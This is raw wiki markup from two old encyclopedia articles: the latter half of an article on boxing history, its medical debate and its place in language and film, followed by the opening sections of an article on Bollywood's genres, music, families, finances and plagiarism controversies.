The United Kingdom has had other popular world champions. In the 1930s, Jackie Berg won the light welterweight title. In the 1940s, Freddie Mills won the light heavyweight title. In the 1950s and 1960s, Randy Turpin and Terry Downes won middleweight titles. and in the 1970s, John Conteh and John Stracey won the light heavyweight and welterweight titles respectively. With so many title-awarding bodies in the 1980s and 1990s, the public became unsure about who actually was the champion. Nevertheless, the successes of [[Nigel Benn]], [[Naseem Hamed]], [[Chris Eubank]], [[Joe Calzaghe]], and [[Ricky Hatton]] continued to bring extensive media coverage to boxing and sustained a considerable public following.

The Scots had a similar pride in Benny Lynch, a flyweight from Glasgow, who held the world flyweight title in 1935 and again in 1937. Over the years, Scots have had great success at this weight; Jackie Paterson won the title in 1943 and Walter McGowan in 1966. Scots have also had success in the lightweight division. Ken Buchanan won the title in 1971 and Jim Watt in 1980.

England, too, had its successes at the lighter weights. Among the flyweights, Jackie Brown won the title in 1932, Peter Kane in 1938 and Terry Allen.

====1940s to 1960s====
The [[1950s]] had a boxer who would go down in history as the only undefeated world heavyweight champion: [[Rocky Marciano]]. The title of the movie [[Rocky]] was inspired by this legend. This era also had [[Sugar Ray Robinson]], who most experts rate as the best pound-for-pound boxer of all time. Robinson held the world welterweight title from 1946 to 1951, and the world middleweight title a record five times from 1951 to 1960. Another great of this period was [[Archie Moore]], who held the world light heavyweight title for ten years and scored more knockout victories than any other boxer in history.

In Northern Ireland, Rinty Monahan held the flyweight title from 1947 to 1950, and Barry McGuigan won the W.B.A. featherweight title in 1985.

====1960s to 1980s====
The decades of the [[1960s]] &amp; [[1970s]] are best remembered by the dominance of a boxer once named Cassius Clay, who said he would &quot;shock the world.&quot; He joined the [[Nation of Islam]], changed his name to [[Muhammad Ali]], and declared himself against war. Many sociologists, observers, and critics now view Ali as a reflection of the changing society of that time. Ali had tough opponents like [[Sonny Liston]], [[Joe Frazier]], [[Ken Norton]], and [[George Foreman]], but proved himself to be the best heavyweight of his era, if not of all time. [[Larry Holmes]] (a former sparring partner of Ali) and the electric promoter [[Don King]] both gained prominence during this time.

After the retirement of Ali, [[Sugar Ray Leonard]] became the biggest star in the sport. In the late 1970s and the 1980s, Leonard won world titles in five different weight divisions, and was the first boxer to make 100 million dollars during his career.

====1980s to present====
If there was ever a bad boy of boxing, the title surely would go to a man who burst into professional boxing like a [[hurricane]]: [[Mike Tyson]]. Nicknamed &quot;Iron Mike&quot; because of his devastating punching power, Tyson took the world by storm. The most dominant figure on the heavyweight division in the mid-to-late 80s, he ran through his opponents like a wrecking ball, becoming the first undisputed champion in a decade. Both in and out of the ring, he was always in the news. He was jailed multiple times, barred from boxing for a year after biting a chunk out of [[Evander Holyfield]]'s ear, and going into [[bankruptcy]]. When he fought his last title fight, against [[Lennox Lewis]] in 2002, he was beaten thoroughly and knocked out. Lewis, a Canadian trained British-born heavyweight titleholder, retired as champion.

[[Roy Jones, Jr.]] was the most dominant fighter of the 1990s and early 2000s. He won world titles in four different weight divisions, from middleweight to heavyweight. When he defeated [[John Ruiz]] to win the [[World Boxing Association|WBA]] heavyweight title, he was the first former middleweight champion to win a heavyweight title since [[Bob Fitzsimmons]] accomplished the feat over one hundred years earlier.

[[Oscar De La Hoya]] was possibly the most popular American boxer of his era. He won titles from junior lightweight to middleweight. With good looks and charisma, along with plenty of boxing talent, he became the richest non-heavyweight in the history of boxing. But along with Oscar is the unrated great [[Bernard Hopkins]], who beaten many other popular fighters, such as: Oscar De La Hoya, Howard Eastman, Felix Trinadad, and, who many feel he won againist [[Jermain Taylor]]. 
Julio Cesar Chavez was the most dominant fighter of this era.  He defeated many big name  fighters like: Roger Mayweather, Melderick Taylor, and Hector Camacho. However, his illustrious streak was broken by Frankie Randall.  After, the Randall fight the once invincible Chavez was see as vulnerable.  Subsequently, he lost to De La Hoya and Kostya Tszyu.  

The United Kingdom had to wait 100 years to have its first heavyweight champion since Bob Fitzsimmons lost his title in 1899. [[Lennox Lewis]] became undisputed champion in 1999, having first gained the W.B.C. title in 1993. Frank Bruno held the W.B.C. world heavyweight title from 1995 and 1996, after beating the man who beat Lewis, Oliver McCall. He lost it to Mike Tyson in a rematch of their 1989 title bout.

Sue Atkins (alias Sue Catkins) helped to pioneer women's boxing in the United Kingdom in the 1980s, but without any official recognition. The first British woman to be issued with a license was Jane Couch from Fleetwood, who won the Women's International Boxing Federation (W.I.B.F.) welterweight title in 1996.

[[Floyd Mayweather Jr.]] is the current dominant figure in boxing.

== Youth Golden Gloves Champs (Brief)  ==
There have been a select few recent young up and coming Golden Glove Champions on their way to the top, and capable of making careers out of their current statis. These include: #1 ranked JaCan Mitchels, of the heavyweight division, #13 ranked Jerome Fields, of the Welterweight division, and young future prospect Aubray Reedus ranked #17, of the Middleweight division. All of which have won several youth titles in their name.

== International Boxing Hall of Fame ==

For many years, the sport of boxing did not have a hall of fame. The inspiration for the boxing hall of fame evolved from a tribute the town of [[Canastota, New York]] held for two local heroes in 1982. The tribute was for [[Carmen Basilio]], who was world welterweight and middleweight champion in the 1950s, and his nephew, [[Billy Backus]], who was world welterweight champion in the early 1970s. The people of Canastota raised money for the tribute, which was so success that some started to look into the idea of creating the sport's first hall of fame and museum. The [[International Boxing Hall of Fame]] opened in Canastota in 1989. In 1990, the first group of legends were inducted, which included [[Jack Johnson (boxer)|Jack Johnson]], [[Benny Leonard]], [[Jack Dempsey]], [[Henry Armstrong]], [[Sugar Ray Robinson]], [[Archie Moore]], and [[Muhammad Ali]]. The Hall of Fame holds it's induction ceremony every June as part of a four day event.

==List of articles on boxing history==
For more information on the timeline of boxing history see
*[[Boxing in the 1920s]]
*[[Boxing in the 1930s]]
*[[Boxing in the 1940s]]
*[[Boxing in the 1950s]]
*[[Boxing in the 1960s]]
*[[Boxing in the 1970s]]
*[[Boxing in the 1980s]]

== Medical concerns ==

In 1983, The Journal of the [[American Medical Association]] called for a ban on boxing. The editor, Dr. George Lundberg, called boxing an &quot;obscenity&quot; that &quot;should not be sanctioned by any civilized society.&quot; Since the AMA called for abolition of boxing, the British, Canadian, Australian and World Medical Association have also called for the sport's abolition, as have the American Neurological Association and the American Academy of Neurology.

Many who disagree with the AMA point out that boxing is far from being the most dangerous of sports. To put the risks in perspective, here are some [[United States|US]] figures on sports fatalities:

Fatality rates per 100,000 participants
#Horse racing: 128
#Sky diving: 123
#Hang gliding: 56
#Mountaineering: 51
#Scuba diving: 11
#Motorcycle racing: 7
#College football: 3
#Boxing: 1.3
(This table was compiled by R.J. McCunney and P.K. Russo, authors of an article entitled ''Brain Injuries in Boxing'', which was published in 1984.) 

In response to such statistics, Lundberg has said, &quot;It's not the deaths but the chronic brain damage that is so frequent.&quot; the AMA says about three out of four boxers who have twenty or more professional fights show some brain deterioration.

Many who support the ban proposal consider its main reason is not the fact that boxing is a dangerous sport, but the fact that the goal of the sport is to cause injury to the opponent. Dr. Bill O'Neill, boxing spokesman for the [[British Medical Association]], has said in support of the BMA's proposed ban on boxing, &quot;It is the only sport where the intention is to inflict serious injury on your opponent, and we feel that we must have a total ban on boxing.&quot;[http://news.bbc.co.uk/2/hi/uk_news/87267.stm]

==Impact of boxing on the English language==

Numerous metaphors common to everyday speech derive from the sport of boxing. Some of these include:

{| class=&quot;wikitable&quot;
|- bgcolor=&quot;#CCCCCC&quot;
! '''Metaphor''' || '''Definition'''
|-
| he was rocked by that one || a fighter was hit by a punch with enough force to be dazed
|-
| not up to scratch || subpar, not able to do the task at hand (in the old days of boxing, boxers started the round by stepping over a scratch made in the ring, but if a boxer could not do this to keep the round going, he was said to be &quot;not up to scratch&quot;)
|-
| saved by the bell || rescued from defeat by dint of time running out, an unexpected turn of events, etc. 
|-
| on (or against) the ropes || on the verge of being defeated
|-
| throw in the towel || to quit, give up (traditionally, a boxers manager or trainer will throw a towel into the ring if he feels that his fighter cannot win and is endangering himself.
|-
| come out swinging || to throw oneself into an activity or competition
|-
| in one's corner || on someone's side, to help or cheer him on
|-
| down for the count || knocked out, defeated
|-
| sucker punch || hitting an opponent who is off his guard, unfairly taking advantage of a vulnerability
|-
| hitting below the belt || a grossly unfair attack (in everyday life, usually of a verbal nature)
|-
| punch drunk || dazed or incoherent (originally, from being repeatedly struck, can refer to dazes generally)
|-
| pull one's punches || to hold back, withhold full force or attack
|-
| in the arena || to be participating, engaged
|-
| keep your guard up || to remain alert, on the defensive
|-
| punch above one's weight || to compete against a more powerful opponent; to perform better than expected
|}

==Boxing in popular culture==
*''[[Battling Butler]]'' (1926 film) Starring [[Buster Keaton]]
*''[[The Champ]] (1931 film)
*''[[Two-Fisted]]'' (1935 film) Comedy 
*''[[Kid Galahad (1937 film)]]'' Starring [[Edward G. Robinson]]
*''[[Golden Boy]]'' (1937 stageplay) written by [[Clifford Odets]]
*''[[Golden Boy]]'' (1939 film) Starring [[William Holden]] and [[Barbara Stanwyck]]
*''[[Gentleman Jim]]'' (1942 film) Starring [[Errol Flynn]]
*''[[Body and Soul]]'' (1947 film) Starring [[John Garfield]]
*''[[Champion (1949 film)]]'' Starring [[Kirk Douglas]]
*''[[The Set-Up (1949 film)]]''  Starring [[Robert Ryan]]
*''[[Day of the Fight]] (1951 short subject) first film directed by [[Stanley Kubrick]]
*''[[On the Waterfront]]'' (1954 film) Starring [[Marlon Brando]]
*''[[The Harder They Fall]]'' (1956 film) Starring [[Humphrey Bogart]]
*''[[Somebody Up There Likes Me]]'' (1956 film) Starring [[Paul Newman]]
*''[[Requiem for a Heavyweight]]'' (1956 TV play) Starring [[Jack Palance]], written by [[Rod Serling]]
*''[[Requiem for a Heavyweight]]'' (1962  film) Starring [[Anthony Quinn]], [[Jackie Gleason]] and [[Mickey Rooney]]
*''[[Kid Galahad ]]'' (1962 film) Musical starring [[Elvis Presley]]
*''[[Golden Boy]]'' (1964 musical stageplay)
*''[[The Great White Hope]]'' (1970 film) Starring [[James Earl Jones]] and [[Jane Alexander]]
*''[[Fat City]]'' (1972 film) Starring [[Stacey Keach]] and [[Jeff Bridges]]
*''[[Rocky]]'' Oscar winning movie in 1976 and its sequels, starring [[Sylvester Stallone]] (also scriptwriter)
*''[[The Main Event (1979 film)|The Main Event]]'' (1979 film) Starring [[Barbra Streisand]] and [[Ryan O'Neal]]
*''[[The Champ]]'' (1979 film) Starring [[Jon Voight]], [[Faye Dunaway]], and [[Rick Schroeder]]; remake of 1931 film
*''[[The Prize Fighter]]'' (1979 film), starring [[Don Knotts]] and [[Tim Conway]]
*''[[Raging Bull]]'' (1980 film) A classic boxing movie, starring [[Robert De Niro]] and [[Joe Pesci]]
*''[[Spike of Bensonhurst]]'' (1988 film)
*''[[The Great White Hype]]'' (1996 film) Starring [[Samuel L Jackson]] and [[Jeff Goldblum]]
*''[[When We Were Kings]]'' (1997 film) The story of [[Muhammad Ali]] and [[George Foreman]] and [[The Rumble in the Jungle]]
*''[[24 7: Twenty Four Seven]]'' (1997 film) Starring [[Bob Hoskins]]
*''[[Don King: Only in America]]'' (TV movie) Starring [[Ving Rhames]]
*''[[The Hurricane (1999 film)]]'' Starring [[Denzel Washington]] as  middleweight [[Rubin Carter]]
*''[[Billy Elliot]]'', about a young dancer whose father and brother wanted to become a boxer, like [[Ken Buchanan]]
*''[[Girlfight]]'' (2000 film)
*''[[Ali (film)|Ali]]'' (2001 film) Starring [[Will Smith]]
*''[[Champion (2002 film)]] South Korean film about Duk Koo Kim, a South Korean boxer who died after a bout against [[Ray Mancini]]
*''[[Undefeated]]'' (2003 TV movie) Starring [[John Leguizamo]]
*''[[Million Dollar Baby]]'' (2004 film) Multiple Oscar winner about a female boxer directed by [[Clint Eastwood]]
*''[[Against the Ropes]]'' (2004 film) Starring Meg Ryan as [[Jackie Kallen]] famous female boxing promoter
*''[[Black Cloud]]'' Directed by and starring [[Rick Schroder]]
*''[[The Calcium Kid]]'' (2004 film)
*''[[Unforgivable Blackness: The Rise and Fall of Jack Johnson]]'' (2004 film) Documentary directed by [[Ken Burns]] 
*''[[Cinderella Man]]'' (2005 film) Based on the true story of [[Jim Braddock]] starring [[Russell Crowe]].
*''[[The Contender (television series)|The Contender]]'' 2005 Reality TV series
*''[[Hajime no Ippo]]'' A [[manga]]/[[anime]] about a young featherweight boxer
*''[[Activision Boxing]]'', one of the first console games about boxing
*''[[Mike Tyson's Punch-Out!!]]'' A [[Nintendo]] game. Later adapted to [[SNES]] as ''[[Super Punch-Out!! (video game)|Super Punch-Out!!]]''
*[[EA Sports]] ''fight night 2004'' and ''[[Fight Night: Round 2]]'' (formerly ''[[Knockout Kings]]'').

==See also==
*[[Boxing training]]
*[[Boxing weight classes]]
*[[International Boxing Organization]]
*[[List of male boxers]]
*[[List of female boxers]]
*[[Reigning boxing champions]]
*[[Women's International Boxing Federation]]
*[[World Boxing Association]]
*[[World Boxing Organization]]

==Resources==
*[http://ahfaa.org/1747.htm Godfrey, John &quot;Boxing&quot; from ''Treatise Upon the Useful Science of Defense'', 1747]
*[http://www.geocities.com/cinaet/price.html Price, Edmund ''The Science of Self Defense: A Treatise on Sparring and Wrestling'', 1867]

==References==
*Patrick Myler (1997). ''[[A Century of Boxing Greats: Inside the Ring with the Hundred Best Boxers]]''. Robson Books (UK) / Parkwest Publications (US). ISBN 1-861-05258-8.
# {{note|1stFemaleAmateurDeath}} &quot;Accidents Take Lives of Young Alumni&quot; (July/August 2005). ''[[University_of_Illinois#Alumni_Association|Illinois Alumni]],'' '''18'''(1), 47.

==External links==
{{commons|Boxing}}
{{wiktionarypar|boxing}}
* [http://www.canadianboxing.com/abcboxing_us_commissions_contact.htm Asssociation of Boxing Commissions-North America]
* [http://www.boxrec.com The Boxing Record Archive]
* [http://www.boxingtimes.com The Boxing Times]
* [http://www.scottishboxing.co.uk Scottish Amateur And Professional Boxing]
* [http://www.jabmax.com JabMax Boxing News]
* [http://thering-online.com/ Ring Magazine]
* [http://fightnews.com/ Fightnews.com]
* [http://andworldboxing.com/ World Boxing Sanctioning Groups]
* [http://www.thesweetscience.com/ The Sweet Science]
* [http://www.boxingreport.net The Boxing Report]
* [http://www.aiba.net The International Amateur Boxing Association]
* [http://www.wbaonline.com The World Boxing Association]
* [http://www.wbcboxing.com The World Boxing Council]
* [http://www.ibf-usba-boxing.com The International Boxing Federation]
* [http://www.iboboxing.com/ The International Boxing Organization]
* [http://www.nabc.net North American Boxing Council]
* [http://www.geocities.com/sdimitry/boxing3.html Heavyweight History]
* [http://www.boxing-memorabilia.com/forgery.htm Tips On Collecting Boxing Memorabilia]
* [http://www.anymartialart.org/09_Martial_Arts_Info/index.php?MArtID=7 AnyMartialArt.org] Boxing overview
* [http://www.boxingscoop.com Boxing Scoop] Boxing podcast with interviews and insights into boxing

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      <text xml:space="preserve">[[Image:Devdas.jpg|thumb|right|Typical Bollywood movie poster&amp;mdash;''[[Devdas (2002 film)|Devdas]]'' ([[2002]])]] '''Bollywood''' is the informal name given to the popular [[Mumbai]]-based [[Hindi language]] [[film|film industry]] in [[India]]. 

The name is a conflation of ''Bombay'', the old name of [[Mumbai]], and ''[[Hollywood, California|Hollywood]]'', the center of the [[United States]] film industry.  Though some purists deplore the name (arguing that it makes the industry look like a poor cousin to Hollywood), it seems likely to persist and now has its own entry in the [[Oxford English Dictionary]].  

Bollywood and the other major cinematic hubs ([[Tamil language|Tamil]] - [[Kollywood]], [[Telugu language|Telugu]] - [[Tollywood]], [[Bengali language|Bengali]] - also called Tollywood, [[Kannada language|Kannada]], and [[Malayalam language|Malayalam]]) constitute the broader [[Cinema of India|Indian film industry]], whose output is the largest in the world in terms of number of [[film]]s produced and in number of tickets sold. Bollywood is a strong part of popular culture of not only India and the rest of the [[Indian subcontinent]], but also of the [[Middle East]], parts of [[Africa]], parts of [[Southeast Asia]], and among the [[South Asia]]n [[diaspora]] worldwide.

Bollywood is also commonly referred to as &quot;[[Hindi language|Hindi]] cinema&quot;, even though use of poetic [[Urdu language|Urdu]] words is fairly common. ([[Linguist]]s would call both Hindi and Urdu variants of [[Hindustani language|Hindustani]]. This is a political debate; see the articles on the various languages/dialects.) There has been a growing presence of [[English language|English]] in dialogues and songs as well. It is not uncommon to see movies which feature dialogues with English words and phrases, even whole sentences. A few movies are also made in two or even three languages (either using subtitles, or several soundtracks).
==Genre conventions==
Most Bollywood films would be classified as [[Musical film|musical]]s. Few movies are made without at least one song-and-dance number. However, they do not fit easily in the &quot;musical&quot; category as defined by Hollywood movies; they usually contain a great deal more in the way of plot and action than is found in the typical Hollywood musical.

Indian audiences expect full value for their money, with a good entertainer generally referred to as ''[[paisa]]'' ''vasool'', (literally, &quot;money's worth&quot;). Songs and dances, love triangles, [[comedy]] and dare-devil thrills&amp;mdash;all are mixed up in a three-hour-long extravaganza with an intermission. Such movies are called ''masala'' movies, after the Hindi word for a spice mixture, ''masala''. Like ''masalas'', these movies are a mixture of many things.

Up until recently plots tended to be [[melodramatic]] and Bollywood films were widely regarded as [[camp]] in the Western world. They frequently employed formulaic ingredients such as star-crossed lovers and angry parents, love triangles, corrupt politicians, kidnappers, conniving villains, [[tart with a heart|courtesans with hearts of gold]], long-lost relatives and siblings separated by fate, dramatic reversals of fortune, and convenient coincidences. Since around early 2005 however, most mainstream Bollywood films have borne more resemblence to contemprary western productions than traditional Indian cinema. The near-total adoption and depiction of western influences in Indian cinema has led to criticism that the films are not representative of true Indian mainstream culture.

There have always been Indian films with more &quot;artistic&quot; aims and more sophisticated stories, both inside and outside the Bollywood tradition (see [[Cinema of India#Indian art cinema|Indian art cinema]]). They often lost out at the box office to movies with more mass appeal. However, Bollywood is changing. Current films are increasingly likely either to break the mold or to ironically subvert it. There is now a significant audience of young, educated, urban Indians who want to watch Indian films, but demand a different presentation.

It should also be said that a fair number of films with mass-appeal are either estimable simply as well-crafted amusements or even artistic achievements in their own way. Any fan of Bollywood movies will be able to list films that he/she regards as transcending the run-of-the-mill masala movie.

==Bollywood song and dance==
[[Image:Mukesh.jpg|thumb|Songs in Bollywood are sung by professional [[Playback singer|playback singers]], rather than actors, who [[lip sync|lip-sync]] the lyrics. Pictured here is [[Mukesh|Mukesh Chand Mathur]] (commonly known as Mukesh), a famed playback singer.]]
Bollywood film music is called ''[[filmi]]'' music (from [[Hindi]], meaning &quot;of films&quot;).

Songs from Bollywood movies are generally pre-recorded by professional playback singers, with the [[actor]]s then [[lip sync|lip synching]] the words to the song on-screen, often while dancing. While most actors, especially today, are excellent dancers, few are also singers. One notable exception was [[Kishore Kumar]], who starred in several major films in the 1950s while also having a stellar career as a playback singer. [[Kundan Lal Saigal|K. L. Saigal]], Suraiyya and [[Noor Jehan]] were also known as both singers and actors. 

Of late, a few actors have again tried singing for themselves: 

* [[Amitabh Bachchan]], sang &quot;Mere Angane Mein&quot; in &quot;Lawaaris&quot; in the mid-80's, and has also sung in &quot;Silsila&quot;, &quot;Mahaan&quot; &quot;[[Toofan]]&quot;,  ''Baghban'', and ''[[Kabhi Khushi Kabhi Gham]]'', as well as doing a duet with Adnan Sami in the song Kabhi Nahin (Never). 

* [[Aamir Khan]] took a turn singing &quot;Kya Bolti Tu&quot; in ''Ghulam'' but only because &quot;the character had attitude that only Aamir could do justice to&quot;, according to director Vikram Bhatt. 

These forays, while well-received at the time, have not led to real singing careers for either actor.

Playback singers are prominently featured in the opening credits and have their own [[Fan (aficionado)|fans]] who will go to an otherwise lackluster movie just to hear their favourites. One of the most recorded of these playback singers is [[Lata Mangeshkar]] who, through the course of a career spanning over six decades, has recorded thousands of songs for Indian movies. Most of the female songs in films from the 1950s, 1960s, and 1970s were sung by Lata. The [[composer]]s of film music, known as music directors, are also well-known. Their songs can make or break a film and usually do.

The dancing in Bollywood films, especially older ones, is primarily modeled on Indian dance: classical dance styles, dances of historic northern Indian courtesans ([[tawaif]]), or [[folk dance]]s. In modern films, Indian dance elements often blend with Western dance styles (as seen on [[MTV]] or in Broadway musicals), though it is not unusual to see Western pop ''and'' pure classical dance numbers side by side in the same film. The hero or heroine will often perform with a troupe of supporting dancers, usually of the same sex. If the hero and heroine dance and sing a pas-de-deux (a dance and [[ballet]] term, meaning &quot;dance of two&quot;), it is often staged in beautiful natural surroundings or architecturally grand settings. This staging is referred to as a [[picturisation]]. [[Switzerland]] has become a popular setting for these picturisations, largely because its Alpine valleys are reminiscent of [[Kashmir]]. Though considered by many to be one of India's most beautiful regions, Kashmir has been generally off-limits for quite some time due to violence.

Songs typically comment on the action taking place in the movie, in several ways. Sometimes, a song is worked into the plot, so that a character has a reason to sing; other times, a song is an externalization of a character's thoughts, or presages an event that has not occurred yet in the plot of the movie. In this case, the event is almost always two characters' falling in love.

==Dialogues and lyrics==
The film script (frequently credited as &quot;dialogues&quot;) and the song lyrics are often written by different people. The dialogues are mostly written in Hindi, with use of Urdu in situations which require poetic dialogues. Contemporary mainstream movies also make great use of English. Dialogues are often melodramatic and invoke God, family, mother, duty, and self-sacrifice liberally.

As an example, below is a dialogue from the 1975 film ''[[Deewar]]'', between the gangster brother Vijay and his policeman brother Ravi:

::Vijay: ''Hum dono ne ek hi jagah se apni zindagi ki shuruwat ki thi&amp;mdash;aaj main kaha hoon aur tum kahan ho. Mere paas gaadi hai, bungalow hai, daulat hai&amp;mdash;kya hai tumhaarey paas?''
::We both started our lives from the same place&amp;mdash;look where I am today and look where you are. I have cars, bungalows, wealth&amp;mdash;what do ''you'' have?
::&lt;short pause&gt;
::Ravi: ''Bhai, mere paas maa hai''.
::Brother, I have Mom.

Music directors often prefer working with certain lyricists, to the point that the lyricist and composer are seen as a team. This phenomenon is not unlike the pairings of American composers and songwriters that created old-time Broadway musicals (e.g., [[Richard Rodgers]] and [[Oscar Hammerstein II]], or [[Alan Jay Lerner]] and [[Frederick Loewe]]). Song lyrics are usually about love. Bollywood song lyrics, especially in the old movies, frequently use Urdu or Hindustani vocabulary which has many elegant and poetic Arabic and Persian loan-words. Here's a sample from the 1983 film ''Hero'', written by the lyricist [[Anand Bakshi]]:

::''Bichhdey abhi to hum, bas kal parso,''
::''jiyoongi main kaisey, is haal mein barson?''
::''Maut na aayi, teri yaad kyon aayi,''
::''Haaye, lambi judaayi!''

::We have been separated just a day or two,
::How am I going to go on this way for years?
::Death doesn't come; why, instead, do these memories of you?
::Oh, this long separation!

Another source for love lyrics is the long [[Hindu]] tradition of poetry about the mythological amours of [[Krishna]], [[Radha]], and the [[gopi]]s. Many lyrics compare the singer to a devotee and the object of his or her passion to Krishna or Radha.

==Cast and crew==
Bollywood employs people from all parts of India. It attracts thousands of aspiring actors and actresses, all hoping for a break in the industry. Models and beauty contestants, television actors, theatre actors and even common people come to [[Mumbai]] with the hope and dream of becoming a star. Just as in Hollywood, very few succeed.

Stardom in the entertainment industry is very fickle, and Bollywood is no exception. The popularity of the stars can rise and fall rapidly, based on single movies. Very few people become national icons, who are unaffected by success or failure of their movies, like [[Amitabh Bachchan]]. [[Film director|Director]]s compete to hire the most popular stars of the day, who are believed to guarantee the success of a movie (though this belief is not always supported by box-office results). Hence many stars make the most of their fame, once they become popular, by making several movies simultaneously. 

Bollywood can be clannish, and the relatives of film-industry insiders have an edge in getting coveted roles. However, industry connections are no guarantee of a long career: competition is brutal and if film industry scions don't succeed at the box office, their careers will falter. Some of the biggest stars, such as [[Dev Anand]], [[Amitabh Bachchan]], and [[Shah Rukh Khan]], have succeeded despite total lack of show biz connections.

Notable film clans:

* [[Kapoor Family (film)|the Kapoors]] ([[Prithviraj Kapoor]], [[Raj Kapoor]], [[Shammi Kapoor]], [[Shashi Kapoor]], [[Randhir Kapoor]], [[Rishi Kapoor]], [[Rajiv Kapoor]], [[Babita Kapoor]], [[Neetu Singh]], [[Karisma Kapoor]], [[Kareena Kapoor]], [[Ranbir Kapoor]], [[Riddhima Kapoor]], [[Shivani Kapoor]])

* the Deols ([[Dharmendra]], [[Hema Malini]], [[Sunny Deol]], [[Bobby Deol]], [[Esha Deol]], [[Abhay Deol]])

* [[Bachchan Family|the Bachchans]] ([[Amitabh Bachchan]], [[Abhishek Bachchan]], [[Jaya Bachchan]])

* the Rajesh Khanna family ([[Rajesh Khanna]], [[Dimple Kapadia]] (his wife), [[Twinkle Khanna]] (his daughter), [[Akshay Kumar]] (his son-in-law) and [[Rinke Khanna]] (his younger daughter))

* the Vinod Khanna family ([[Vinod Khanna]], [[Akshaye Khanna]] and  [[Rahul Khanna]] (his sons)) 

* the Dutts ([[Nargis]] and [[Sunil Dutt]] (wife and husband), [[Sanjay Dutt]] (their son))

* the Hussains ([[Nasir Hussain]], [[Tahir Hussain]], [[Aamir Khan]], [[Mansoor Khan]], [[Faisal Khan]])

* the Khans ([[Salim Khan]], [[Helen]], [[Salman Khan]], [[Arbaaz Khan]], [[Sohail Khan]], [[Malaika Arora]])

* the Mukherjee-Samarth family ([[Shobhana Samarth]], [[Debashree Roy]], [[Sashadhar Mukherjee]], [[Joy Mukherjee]], [[Deb Mukherjee]], [[Sharbani Mukherjee]], [[Nutan]], [[Tanuja]], [[Mohnish Behl]], [[Tanisha]], [[Kajol]], [[Ram Mukherjee]], [[Rani Mukerji]])

* the Pataudis ([[Sharmila Tagore]], [[Saif Ali Khan]] (her son), [[Soha Ali Khan]] (her daughter))

* the Khan-Roshan clan ([[Roshan]], [[Rakesh Roshan]], [[Rajesh Roshan]], [[Hrithik Roshan]], [[Suzanne Khan]] (Hrithik's wife), [[Sanjay Khan]] (Suzanne's father), [[Zayed Khan]], [[Feroz Khan]], [[Fardeen Khan]]).

* the Ganguly brothers ([[Ashok Kumar]], [[Kishore Kumar]], [[Anup Kumar]])

* the Mangeshkar sisters ([[Hridayanath Mangeshkar]], [[Lata Mangeshkar]], [[Asha Bhosle]], [[Usha Mangeshkar]])

==Finances==
[[Image:Bollywoodlondon.JPG|thumb|250px|right|Bollywood movies are released commercially in the [[United Kingdom]].]]
Bollywood budgets are usually modest by Hollywood standards. [[Set (drama)|Sets]], [[costume]]s, [[special effects]], and [[cinematography]] were less than world-class up until the mid-to-late 1990s. But as Western films and [[television]] gain wider distribution in India itself, there is increasing pressure for Bollywood films to attain the same production levels. Sequences shot overseas have proved a real [[box office]] draw, so Mumbai film crews are increasingly filming in [[Australia]], [[New Zealand]], the [[United Kingdom]], [[continental Europe]] and elsewhere. Nowadays, Indian producers are drawing in more and more funding for big-budget films shot within India as well, such as ''[[Lagaan]]'', ''[[Devdas (2002 film)|Devdas]]'', and the recent production [[The Rising (Indian film)|''The Rising'']].

Funding for Bollywood films often comes from private distributors and a few large [[Movie studio|studios]]. Indian [[bank]]s and [[financial institutions]] were forbidden from lending money to movie studios. However, this ban has now been lifted [http://www.rediff.com/entertai/2001/mar/31sush.htm]. As finances are not regulated, some funding also comes from illegitimate sources, such as the [[Mumbai underworld]]. The Mumbai underworld has been known to be involved in the production of several films, and are notorious for their patronization of several prominent film personalities; On occasion, they have known to use money and muscle power to get their way in cinematic deals. In January, 2000, Mumbai mafia hitmen shot Rakesh Roshan, film director and father of star [[Hrithik Roshan]]; It had been reported that he had rebuffed mob attempts to meddle with his film distribution. In 2001, the [[Central Bureau of Investigation]] seized all prints of the movie ''[[Chori Chori Chupke Chupke]]'' after the movie was found to be funded by members of the [[Mumbai underworld]].

Another problem facing Bollywood is widespread [[copyright infringement]] of its films. Often, bootleg [[DVD#DVD-Video|DVD]] copies of movies are available before the prints are official released in [[movie theaters]]. Manufacturing of bootleg DVD, VCD, and VHS copies of the latest movie titles is a well established 'small scale industry' in parts of the [[Indian Subcontinent]] and [[South East Asia]]. Besides catering to the homegrown market, demand for these copies is large amongst some sections of the [[Indian diaspora]], too. (In fact, bootleg copies are the only way people in Pakistan can watch Bollywood movies, since the [[Government of Pakistan]] has banned their sale, distribution and telecast). Films are frequently broadcast without compensation by countless small cable TV companies in India and other parts of South Asia. Small convenience stores run by members of the Indian diaspora in the U.S. and the U.K. regularly stock tapes and DVDs of dubious provenance, while consumer copying adds to the problem. The availability of illegal copies of movies on the Internet also contributes to the piracy problem.

Satellite TV, television and imported foreign films are making huge inroads into the domestic Indian entertainment market. In the past, most Bollywood films could make money; now fewer tend to do so. Balanced against this are the increasing returns from theatres in Western countries like the [[United Kingdom]], [[Canada]], and the [[United States]], where Bollywood is slowly getting noticed. As more Indians migrate to these countries, they form a growing market for upscale Indian films. 'Foreign' audiences&amp;#8212;in Asian and Western countries&amp;#8212;are also growing, if more slowly.

For an interesting comparison of Hollywood and Bollywood financial figures, see this chart: [http://www.businessweek.com//magazine/content/02_48/art02_48/a48tab37.gif].  It shows tickets sold in 2002 and total revenue estimates.  Bollywood sold 3.6 billion tickets and had total revenues (theater tickets, DVDs, television etc) of [[US$]]1.3 billion ([[USD]]), whereas Hollywood films sold 2.6 billion tickets and generated total revenues (again from all formats) of US$51 billion.

== Advertising == 
[[Image:Delhicinema (92).JPG|thumb|right|250px|A cinema hall in [[Delhi]].]]
Many Indian artists used to make a living hand-painting movie billboards and posters. Human labor was cheaper than printing and distributing publicity material.  Now, the majority of the huge and ubiquitous billboards in India's major cities are created with computer-printed vinyl. The old hand-painted posters, once regarded as ephemera, are becoming increasingly collectible as [[folk art]].

==Controversies==
===Accusations of plagiarism===
Constrained by rushed production schedules and small budgets, some Bollywood writers and musicians have been known to resort to plagiarism. They copy ideas, plot lines, tunes or [[Riff|riffs]] from sources close at hand ([http://www.hindu.com/2001/05/22/stories/03220004.htm][[Tamil language|Tamil]] films and songs) or far away ([[Hollywood]] and other Western movies, Western pop hits). 

In past times, this could be done with impunity. Copyright enforcement was lax in South Asia. As for the Western sources, the Bollywood film industry was largely unknown to Westerners, who would not even be aware that their material was being copied. Audiences also may not have been aware of the plagiarism, since many in the Indian audience were unfamiliar with Western films and tunes. 

While copyright enforcement in South Asia is still hit or miss, Bollywood and Hollywood are much more aware of each other now, and Indian audiences are more familiar with foreign movies and music. Blatant plagiarism ''may'' have diminished -- however, there is no general agreement that it has.

